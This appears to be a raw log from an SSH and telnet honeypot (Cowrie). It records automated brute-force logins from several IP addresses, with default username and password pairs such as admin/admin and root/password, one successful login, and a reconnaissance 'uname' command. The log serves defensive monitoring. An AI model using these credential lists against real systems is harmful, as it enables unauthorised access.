{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:55.652086Z","src_ip":"172.237.20.62","session":"ec70026f5bc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:55.671217Z","src_ip":"176.65.132.129","session":"06ee4c89a275","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:56.139137Z","src_ip":"172.237.20.62","session":"ec70026f5bc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"suporte","message":"login attempt [suporte/suporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:56.149787Z","src_ip":"176.65.132.129","session":"06ee4c89a275","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:56.577315Z","src_ip":"172.237.20.62","session":"ec70026f5bc8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:56.580703Z","src_ip":"172.237.20.62","session":"ec70026f5bc8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:56.747809Z","src_ip":"172.237.20.62","session":"ec70026f5bc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:56.752948Z","src_ip":"172.237.20.62","session":"ec70026f5bc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:57.235243Z","src_ip":"176.65.132.129","session":"06ee4c89a275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53112,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e7e3dcd7a4f","protocol":"ssh","message":"New connection: 176.65.132.129:53112 (159.203.135.109:22) [session: 5e7e3dcd7a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:58.914762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:59.020135Z","src_ip":"176.65.132.129","session":"5e7e3dcd7a4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:59.024200Z","src_ip":"176.65.132.129","session":"5e7e3dcd7a4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1111","message":"login attempt [user1/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:53:59.373410Z","src_ip":"176.65.132.129","session":"5e7e3dcd7a4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:00.465551Z","src_ip":"176.65.132.129","session":"5e7e3dcd7a4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53122,"dst_ip":"159.203.135.109","dst_port":22,"session":"f35a221c2b59","protocol":"ssh","message":"New connection: 176.65.132.129:53122 (159.203.135.109:22) [session: f35a221c2b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:02.323548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:02.333731Z","src_ip":"176.65.132.129","session":"f35a221c2b59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:02.417619Z","src_ip":"176.65.132.129","session":"f35a221c2b59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:02.665702Z","src_ip":"176.65.132.129","session":"f35a221c2b59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:03.750933Z","src_ip":"176.65.132.129","session":"f35a221c2b59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53128,"dst_ip":"159.203.135.109","dst_port":22,"session":"21ce7a98b6aa","protocol":"ssh","message":"New connection: 176.65.132.129:53128 (159.203.135.109:22) [session: 21ce7a98b6aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:05.619453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:05.623677Z","src_ip":"176.65.132.129","session":"21ce7a98b6aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:05.706255Z","src_ip":"176.65.132.129","session":"21ce7a98b6aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:05.953557Z","src_ip":"176.65.132.129","session":"21ce7a98b6aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":56654,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e47ecc6c223","protocol":"ssh","message":"New connection: 172.237.20.62:56654 (159.203.135.109:22) [session: 2e47ecc6c223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:06.287625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:06.296419Z","src_ip":"172.237.20.62","session":"2e47ecc6c223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:06.460032Z","src_ip":"172.237.20.62","session":"2e47ecc6c223","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:06.944113Z","src_ip":"172.237.20.62","session":"2e47ecc6c223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51750,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9a97f7e10bd","protocol":"telnet","message":"New connection: 45.58.127.90:51750 (10.17.0.5:23) [session: b9a97f7e10bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:06.969347Z"}
{"eventid":"cowrie.session.closed","duration":0.012013673782348633,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:06.981248Z","src_ip":"45.58.127.90","session":"b9a97f7e10bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:07.041372Z","src_ip":"176.65.132.129","session":"21ce7a98b6aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.51609921455383,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:07.207970Z","src_ip":"45.58.127.90","session":"7f3567cd12d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.73318552970886,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:07.343462Z","src_ip":"45.58.127.90","session":"de782659060d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:08.108729Z","src_ip":"172.237.20.62","session":"2e47ecc6c223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":44530,"dst_ip":"10.17.0.5","dst_port":22,"session":"77cfb0d1ce9b","protocol":"ssh","message":"New connection: 193.106.245.20:44530 (10.17.0.5:22) [session: 77cfb0d1ce9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:08.404290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:08.409107Z","src_ip":"193.106.245.20","session":"77cfb0d1ce9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:08.540819Z","src_ip":"193.106.245.20","session":"77cfb0d1ce9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52442,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7e5757b1e9d","protocol":"ssh","message":"New connection: 176.65.132.129:52442 (159.203.135.109:22) [session: e7e5757b1e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:08.883906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:08.889160Z","src_ip":"176.65.132.129","session":"e7e5757b1e9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:08.971085Z","src_ip":"176.65.132.129","session":"e7e5757b1e9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123321","message":"login attempt [testuser/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:09.081717Z","src_ip":"193.106.245.20","session":"77cfb0d1ce9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb","message":"login attempt [tidb/tidb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:09.413826Z","src_ip":"176.65.132.129","session":"e7e5757b1e9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:10.210820Z","src_ip":"193.106.245.20","session":"77cfb0d1ce9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:10.498430Z","src_ip":"176.65.132.129","session":"e7e5757b1e9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":52462,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf06bef590f8","protocol":"ssh","message":"New connection: 176.65.132.129:52462 (159.203.135.109:22) [session: cf06bef590f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:12.278883Z"}
